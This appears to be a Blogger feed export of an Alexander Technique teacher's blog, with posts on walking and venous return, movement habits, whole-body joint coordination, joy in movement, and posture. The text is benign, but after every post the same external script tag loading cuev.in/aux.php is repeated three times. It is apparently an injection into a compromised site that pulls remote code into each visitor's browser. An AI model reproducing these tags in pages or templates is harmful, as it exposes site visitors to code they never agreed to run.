tag:blogger.com,1999:blog-5748417503755777552024-03-13T12:36:54.041-03:00Victoria Stanham - Alexander TechniqueAnonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.comBlogger86125tag:blogger.com,1999:blog-574841750375577755.post-13088566682775720252017-06-12T19:25:00.000-03:002017-06-12T19:25:21.887-03:00Life is ProPulsion<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-WeD3rkbE9S8/WT8UCY0vnPI/AAAAAAAANic/0bXlU-mMjesTJdrjU8T3Z5mZCbVdR-ZoACKgBGAs/s1600/2017-12-6--16-33-22.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="426" data-original-width="640" src="https://2.bp.blogspot.com/-WeD3rkbE9S8/WT8UCY0vnPI/AAAAAAAANic/0bXlU-mMjesTJdrjU8T3Z5mZCbVdR-ZoACKgBGAs/s1600/2017-12-6--16-33-22.jpeg" /></a></div>
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<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">The pulse of life. Propulsion. Pulsate. </span><span style="font-size: 14.0pt; line-height: 115%;">Propel. It never ceases to amaze me how linked the word “pulse” is to both the heart and the forward thrust of walking. “Walking is good for the heart” they say. The rhythm of our walk is part of the rhythm of our life, the rhythm of our heart, the rhythm of our blood flowing through our veins. Walking is our pulse… in a way.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;">However, in our modern living conditions, most of us do not walk half as much as we should. Perhaps that is why, even though we live longer, we are half as “alive” as we were when we had to walk places to get places.<o:p></o:p></span></div>
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<b><span style="font-size: 14.0pt; line-height: 115%;"><span style="color: #990000;">Lack of dynamic walking is a problem for our overall health on many levels, not the least of which being our vascular health. </span></span></b><span style="font-size: 14.0pt; line-height: 115%;"><o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;">The heart pumps blood with fresh oxygen propelling it through our whole body, from the areas closest to it to those farthest away like our big toes, way down there where our feet are. The heart is helped in this arduous task by the muscular arteries, which echo the hearts beat in their own pulsating rhythm, and by the force of gravity. The blood that returns from the toes to the heart, rich in metabolic wastes, has no muscular veins nor force of gravity to aid it in its upward climb. It therefore needs an extra pumping force to propel it back to the heart.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;">Thankfully, this extra pump has been provided for us by nature in the form of our calf muscles. However, this pump comes with one caveat, it has no automatic pumping mechanism like the heart-pump; the calf-pump must be activated through dynamic movement of the legs: propulsion of the blood hence is dependent on propulsion of the body.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;">As you can see, without a regular beating movement such as walking that engages the rhythmic contraction of the calf muscles the blood that flows down into the legs with the beating of your heart cannot flow up again with as much vigor. This in turn means that the rhythm at which our tissues are “fed” oxygenated and nutrient rich arterial blood is not the same as that at which their metabolic wastes are removed by venous blood. This cannot be good for general tissue health, especially those tissues furthest away from the heart. In fact, an inefficient calf-pump is bad news for those who are prone to suffer from venous insufficiency (varicose veins). <o:p></o:p></span></div>
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<b><span style="font-size: 14.0pt; line-height: 115%;"><span style="color: #990000;">I know that going out for a walk is not always a possibility. So, what to do?</span><o:p></o:p></span></b></div>
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<span style="font-size: 14.0pt; line-height: 115%;">Well, the good news is we can rhythmically contract the muscles in our calves without propelling us forward, but rather propelling us up. When we stand on tip toes we contract our calf muscles, and if we do so rhythmically we are in fact bouncing and rebounding in place. We can bounce almost anywhere, even sitting… although we won’t get as many benefits from it if we don’t get up on our feet.<b><o:p></o:p></b></span></div>
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<span style="color: #990000;"><b><span style="font-size: 14.0pt; line-height: 115%;">Ruthy Alon, the creator of the Bones for Life© and Walk for Life</span></b><b><span style="font-size: 14.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">©</span></b></span><b><span style="font-size: 14.0pt; line-height: 115%;"><span style="color: #990000;"> - Movement Intelligence© programs, recommends bouncing in place as a daily practice for those who can’t get out and walk about. Lightly bouncing on our heels we get to clean, realign and reboot body and mind.</span><o:p></o:p></span></b></div>
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<span style="font-size: 14.0pt; line-height: 115%;">Lightly bouncing or walking in place shakes us up. This general shake-up not only aids venous blood return, but also allows every bone to more fully rest on the one below it, spontaneously realigning our skeletons in the gentle pulsation that traverses our bones from heels to head. This spontaneous realignment of our skeletal framework in turn makes it possible for us to be on our feet using less muscular effort.<o:p></o:p></span></div>
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<b><span style="font-size: 14.0pt; line-height: 115%;"><span style="color: #990000;">The combination of blood pump reactivation and skeletal realignment both conspire to breathe some fresh air into our minds. Moreover, the realignment in our posture has a direct influence on our emotional state and our self-image. So what’s not to love about a little light happy rebounding like a grinning Tigger?</span><o:p></o:p></span></b></div>
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<span style="font-size: 14.0pt; line-height: 115%;">To sum up, our general physical and mental health needs some daily dynamic movement. <o:p></o:p></span></div>
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<span style="font-size: 14.0pt; line-height: 115%;">I must warn you, however, to keep the bouncing really light. If your posture is less than optimal vigorous dynamic movement could put your more vulnerable joints at risk of collapse (your neck, your lower back, your knees). With every step or bounce you are mobilizing and accelerating your full body mass. This is why it behooves you to learn how to organize your posture consciously so as to be able to sustain more dynamic movements with efficiency and confidence. </span><span style="font-size: 14.0pt; line-height: 115%;"><o:p></o:p></span></div>
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-10859283283177491902017-06-04T19:55:00.000-03:002017-06-04T19:55:34.064-03:00I Move Therefore I Am<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
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<a href="https://3.bp.blogspot.com/-m5DvsEwLa8g/WTSPbkALPzI/AAAAAAAANhc/3fBRuWFq7w8dvcxLAuFDbqV99oKXCBk3gCLcB/s1600/2017-31-5--17-20-07.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="426" data-original-width="640" src="https://3.bp.blogspot.com/-m5DvsEwLa8g/WTSPbkALPzI/AAAAAAAANhc/3fBRuWFq7w8dvcxLAuFDbqV99oKXCBk3gCLcB/s1600/2017-31-5--17-20-07.jpeg" /></a></div>
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<span style="font-size: 17.3333px;"><span style="color: #990000;">The Blessing and the Curse of Movement Habits</span></span></div>
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<span style="font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Habits are learned and stereotyped responses: set movements that once triggered get replayed verbatim regardless of context or appropriateness. <o:p></o:p></span></div>
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<span style="font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Habits are necessary; they save us from wasting time and energy in preparing new responses to the ever-changing, kaleidoscopic circumstances we exist in. Habits allow us to <i>anticipate</i> changes and be ready to respond accordingly.<o:p></o:p></span></div>
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<span style="font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">And herein lays their problem. <o:p></o:p></span></div>
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<span style="font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Some of my now set-responses were originally new responses. They were successful responses at the time, so I chose to repeat them again and again, each new success convincing my system that this was a real keeper. Since it appeared like I’d be using these patterns repeatedly, I let them fall into my subconscious so they could become my <i>automatic </i>responses in all similar situations. The habituation of certain responses was a smart time and energy saving strategy. <o:p></o:p></span></div>
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<span style="font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Once a response becomes automatic I stop consciously observing and calibrating its efficiency (and sometimes even its effectiveness) vis-à-vis my <i>ever-changing</i> circumstances. What began as a good idea, a clever response, or a quick fix to a specific event, has morphed into the be-all-and-end-all of my response repertoire. The habit has become embedded in my neural repertoire in the form of trigger-happy synapses. The constant repetition of certain movements shape my body according to their logic; I embody my habits with my muscles, my bones and all my connective tissues. <o:p></o:p></span></div>
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<span style="font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">These automatic responses thus become not only the <i>hidden</i> framework upon which I build my actions, reactions, and routines, but also upon which my shape is modelled and portrayed to the world. As the world responds and reacts to my self-projection, I receive feedback that confirms this is who I am, and voilà my self-definition begins to get set.<o:p></o:p></span></div>
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<i><span style="font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Moveo ergo sum. </span></i><span style="font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">I move, therefore I am.<o:p></o:p></span></div>
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<i><span style="font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Hidden</span></i><span style="font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> becomes the key word here. As the saying goes: out of sight, out of mind. Automatism makes me <i>blind</i> to my habits, I become dominated by them, I start confusing them with my self-definition: this is the way I do things. The problem with my habits is that they limit my <i>freedom of</i> <i>choice</i>, they default me to act always in the same way, whether I want to or not.<o:p></o:p></span></div>
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<span style="font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Can I <i>be </i>any other way?<o:p></o:p></span></div>
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<span style="font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">I want to believe so. The framework of my habits is <i>hidden</i> only as long as I don’t start the process of discovering and uncovering them. My habits are the only option until I realize there are other options. I could perhaps learn to choose and build new responses... <o:p></o:p></span></div>
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<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-50251649012770820402017-05-28T20:40:00.000-03:002017-05-28T20:40:43.376-03:00Seeing the Bigger Picture: Fixing the part by working on the whole<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-qIbrAJMj8DI/WStfVaYk4LI/AAAAAAAANgc/zby1VJljNnck9KT5cdvadQz1Ch2OOtgbACLcB/s1600/the%2Bforest%2Bfor%2Bthe%2Btrees.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="480" data-original-width="722" src="https://4.bp.blogspot.com/-qIbrAJMj8DI/WStfVaYk4LI/AAAAAAAANgc/zby1VJljNnck9KT5cdvadQz1Ch2OOtgbACLcB/s1600/the%2Bforest%2Bfor%2Bthe%2Btrees.jpeg" /></a></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><br /></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">It’s a running joke with my life partner that whenever something ails him or me, physically or emotionally, I will invariably blame it on the weather or some other atmospheric and far removed factor. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">It’s not so much that I’m trying to shirk off my share of responsibility for the current situation; it’s more a question of putting my troubles within the context of a wider whole, and acknowledging that everything influences everything else to some extent. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">This puts power back in my hands rather than taking it away: I might be helpless about changing the particulars of my ailment, but I can sure fidget with my immediate environment or circumstances (turn up the heat, clean up the house, go for a walk, take a nap, etc.) to better accommodate myself to the current “atmospheric” conditions. Sometimes it’s by working on something seemingly far removed and un-connected to my current problem that the problem seems to sort itself out “magically”. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">A similar thing happens with joint ailments. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Whenever a student comes with a shoulder issue for instance, I don’t care too much about the particulars of the injury (other than getting the basics on what the physio or doctor diagnosed as the trouble and asking the person to tell me what movements or actions increase the pain). <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">What I do care about is how every other part of the body is working in relation to that shoulder; for it is easy to assume that if a shoulder hurts then the problem is the shoulder and so the shoulder should be treated… But is this necessarily so?<o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">The quick and short answer is: no, it’s not. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Moreover, sometimes the shoulder is so tender that it’s even better not to deal with the joint directly, or altogether, for that would only increase the irritation to the area and augment its already rampant hyperalgesia. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">So I start by assessing movement in other joints, and how they relate to the great highway of movement-communication in the body: the spine.<o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">You see, in the Alexander Technique, as in many other somatic movement modalities, we work from the perspective that the body is a whole (we also work from the perspective that the body and mind are a whole too… but let us leave that for another post). <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Therefore, in our assessment of how a specific part of the body moves or doesn’t move, we take into consideration how all other parts move or don’t move and how that affects the part in question. In other words, all joints in the body (a joint is where two or more bones meet) are related, they all form one big “joint-family”, so if one joint has problems performing its functions (for whichever reason), all other joints will compensate in some way to keep the family going.<o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Take the spine for example. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">There are 24+ vertebrae in your spine stacked one on top of the other in a long flexible and undulating column, hence there are 24+ joints in your spine alone. A healthy and coordinated spine can bend front, back, left, right and twist. Not all sections of the spine can move in all five directions to the same degree, but they all can move a bit in all directions. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">When all inter-vertebral joints collaborate with the right amount of their available degrees of movement towards the accomplishment of any of the spine’s actions, the movement is perceived as elegant and harmonious, both by the person executing it as by those watching it. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">On the other hand, when one or several inter-vertebral joints, for whichever reason, lose their ability to collaborate with their full range of mobility to the action of the spine, the slack has to be taken up by the other inter-vertebral joints (and all other joints in the body, of course). This means that some joints will move too little while others will move too much, and the end-result is a movement perceived as stiff and uncoordinated. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">The problem is not an aesthetic one, for we can get used to the strangest of movement and postural fashions and habituate them even when they might at first jar with our sense of rhythm, harmony and flow. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">The problem is that the more some joints compensate with hypermobility to the lack of mobility in some other joints, we eventually reach the point where no further adaptation is possible without harming ourselves in some way. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">We are left with a bleak scenario: on the one hand we are stalled in our capacity to move any further in a given direction and might lose faith in our capacity for progress or improvement; on the other hand, if we press on regardless, trying to break through the (healthy) limit our body has set us, we might actually hurt ourselves, and most probably at those joints which had reached the limit of their compensatory abilities.<o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">So, returning to our hurt-shoulder example, is the original problem in the shoulder? Probably not. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Does the shoulder need treatment? Yes, I am all in favor of seeing your physio to get treatment for the damaged tissues, so that they get a chance to heal correctly and as quickly as possible. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">But, will the localized treatment cure you of your problem? And, was the shoulder the problem in the first case?<o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Most probably not. There is sure to be a coordination problem within the whole family of joints, of which your shoulder problem is only the visible tip of the iceberg. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">I know this sounds terrible. How can you ever get all of your joints “correctly” coordinated and whoever has time for that anyway?<o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Fear not. Thankfully, coordination is not something we need to meddle with directly. Coordination is something our neuro-motor system does on its own with what is available to it in terms of sensory information (both from the outside and the inside), conceptual information (our subconscious beliefs about our own bodies and its movement possibilities) and the actual movement capacities of our various joints. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">So, what we <i>can</i> do is feed our system more accurate sensory and conceptual information and restore whatever movement is still possible to all joints. <o:p></o:p></span></div>
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<span style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">In doing so you might find, much like I find when I fidget with my environment and not with my problem directly, that by improving your use and the functioning of other parts of your body, your shoulder problem (or whichever joint is giving you trouble) “miraculously” disappears… and hopefully never returns.<i><o:p></o:p></i></span></div>
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-78747110642918034002017-05-22T10:24:00.000-03:002017-05-22T10:24:44.537-03:00Movement as a a Quest for JOY<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-UKmu5uwpLjk/WSLmh18p9XI/AAAAAAAANfA/OXHRoUTpqPI7ZTJLl4AXX6JBeowiUu7IwCKgB/s1600/3%2Breasons%2Bto%2Bmove.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-UKmu5uwpLjk/WSLmh18p9XI/AAAAAAAANfA/OXHRoUTpqPI7ZTJLl4AXX6JBeowiUu7IwCKgB/s1600/3%2Breasons%2Bto%2Bmove.jpg" /></a></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;"><br /></span></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">I love to move; I derive endless pleasure and reams of personal insight from it. I practice several choreographed and un-choreographed forms of movement and am always avid to experiment with new forms. <o:p></o:p></span></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">It hasn’t always been this way for me, however.<o:p></o:p></span></div>
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<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Being an inveterate perfectionist, moving wasn’t always a source of childish delight and wide-eyed wonder at my seemingly endless movement possibilities. I used to (and still do if I’m not wide-awake to my habits) turn every activity and movement challenge into a competition, where the only ephemeral joy came from beating myself or others in “getting there” (all thoughts on the finish line and none on the journey). The prize for “getting there” (wherever that may be) was some cheap and short-lived admiration from peers and superiors; the price, on the other hand, was steep and long-lived. <o:p></o:p></span></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">No <i>joy</i> ever came from within after conquering one of these podiums; it was simply never good “enough”. <o:p></o:p></span></div>
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<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">The fact that outside praise soon died away, and to get my fix once again I needed to surpass, or at minimum up-keep, my previous achievement level, seemed only to prove that I needed to do more and better (whatever that may be). <o:p></o:p></span></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Still, no joy came from within, no praise came from within, and the constant struggle to do more and be better ended up corroding my belief in the truthfulness of outside praise and admiration. What I didn’t give myself, I couldn’t receive from others, even if it was showered upon me (which it never really was anyways).<o:p></o:p></span></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin;">Then, one good day, I was inadvertently presented with my first somatic movement practice. And little by little I got hooked on a completely different perspective on what it means <i>to move </i>and <i>be moved</i>.<o:p></o:p></span></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Nowadays, whenever I “practice movement”, I am more interested in becoming aware of <i>how </i>I choose to move than in getting anywhere in particular.<o:p></o:p></span></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Becoming aware of how I move throws light on my movement <i>habits</i>: how I always tend to unconsciously choose by default the same set of movement options, even when they are perhaps not the best suited to the present situation.<o:p></o:p></span></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Therefore, in my personal movement investigations I present myself with simple movement challenges in a safe environment. I do so in order to teach myself how to move in and out of these challenges in different ways at any time, and thus widen the range of movement choices available to my conscious mind. <o:p></o:p></span></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">As I become <i>aware</i> of my growing number of movement options, movement habits loosen some of their vice grip on my actions: they become just one option among many from which I can <i>consciously</i> choose (if I’m aware enough to do so).<o:p></o:p></span></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Movement has hence become a path of self-development. Nowadays, whenever I “exercise” (be it running, doing Pilates or any other sport or gymnastics), my focus is not primarily on “exercising my muscles” (although that is an added benefit) but first and foremost on the cyclical process of becoming <i>aware</i> of <i>how</i> I move, evaluating if the current choice is the best option available, making any necessary adjustments (based on my personal investigations) and listening in again to my movement quality. <o:p></o:p></span></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">This process of “listening-in”, of entering into a nurturing dialogue with myself through movement and sensation, through thought and image, has brought forth the only emotion worth deriving from any action: JOY.<o:p></o:p></span></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Why this emphasis on JOY you may ask. <o:p></o:p></span></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Well, a friend and teacher once told me that in the Vedic tradition the three attributes of God are Sat, Chid and Ananda, which in worldly terms would be something like: knowing all, living forever (aka being connected to all things) and being always in a state of bliss. She also said that for us humans it is difficult to realize when we are connected to eternal knowledge and eternal life, but we do come equipped with the capacity to know when we are connected to eternal bliss, and <i>that</i> is in the feeling of <i>joy</i>: an emotion that wells up from deep within and expresses itself in body and mind. <o:p></o:p></span></div>
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<span style="font-size: 12.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">When Joy is present, when we experience a glimpse of Ananda, we are also experiencing a glimpse of eternal knowledge (Sat) and eternal life through the connection to all things past, present and future (Chid).<o:p></o:p></span></div>
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<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-23115710856033575232017-05-07T21:05:00.000-03:002017-05-07T21:05:41.384-03:00My Problem with “Posture”<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-4LXSQQdGj_k/WQ-165redXI/AAAAAAAANcg/WiloyH-bOdYbvKa_U-gSxWvcii7nygc4gCLcB/s1600/posture.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-4LXSQQdGj_k/WQ-165redXI/AAAAAAAANcg/WiloyH-bOdYbvKa_U-gSxWvcii7nygc4gCLcB/s1600/posture.jpg" /></a></div>
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<span style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><br /></span></div>
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<span style="font-size: 14.0pt; line-height: 107%;">Good
posture is more about how you move than how you keep still. </span><span style="font-size: 14.0pt; line-height: 107%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p></o:p></span></div>
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<span style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><br /></span></div>
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<span style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">During my early twenties posture was a nagging concern for me. One of my grannies had osteoporosis and a noticeable hump and the general postural tendency in my family is towards a rounded shoulder outline. My other granny, who was blessed with naturally good posture and steel hard bones, would swear her secret had been walking around with a broomstick across her back during her adolescence and reminding herself to “roll her shoulders up back and down” to keep her back straight. My sister, who in her teenage years showed early signs of slouching, was constantly reminded to stand straight and keep her shoulders back. She even had an elastic-harness-strapping-thingy that promised to train her muscles into holding correct posture.<o:p></o:p></span></div>
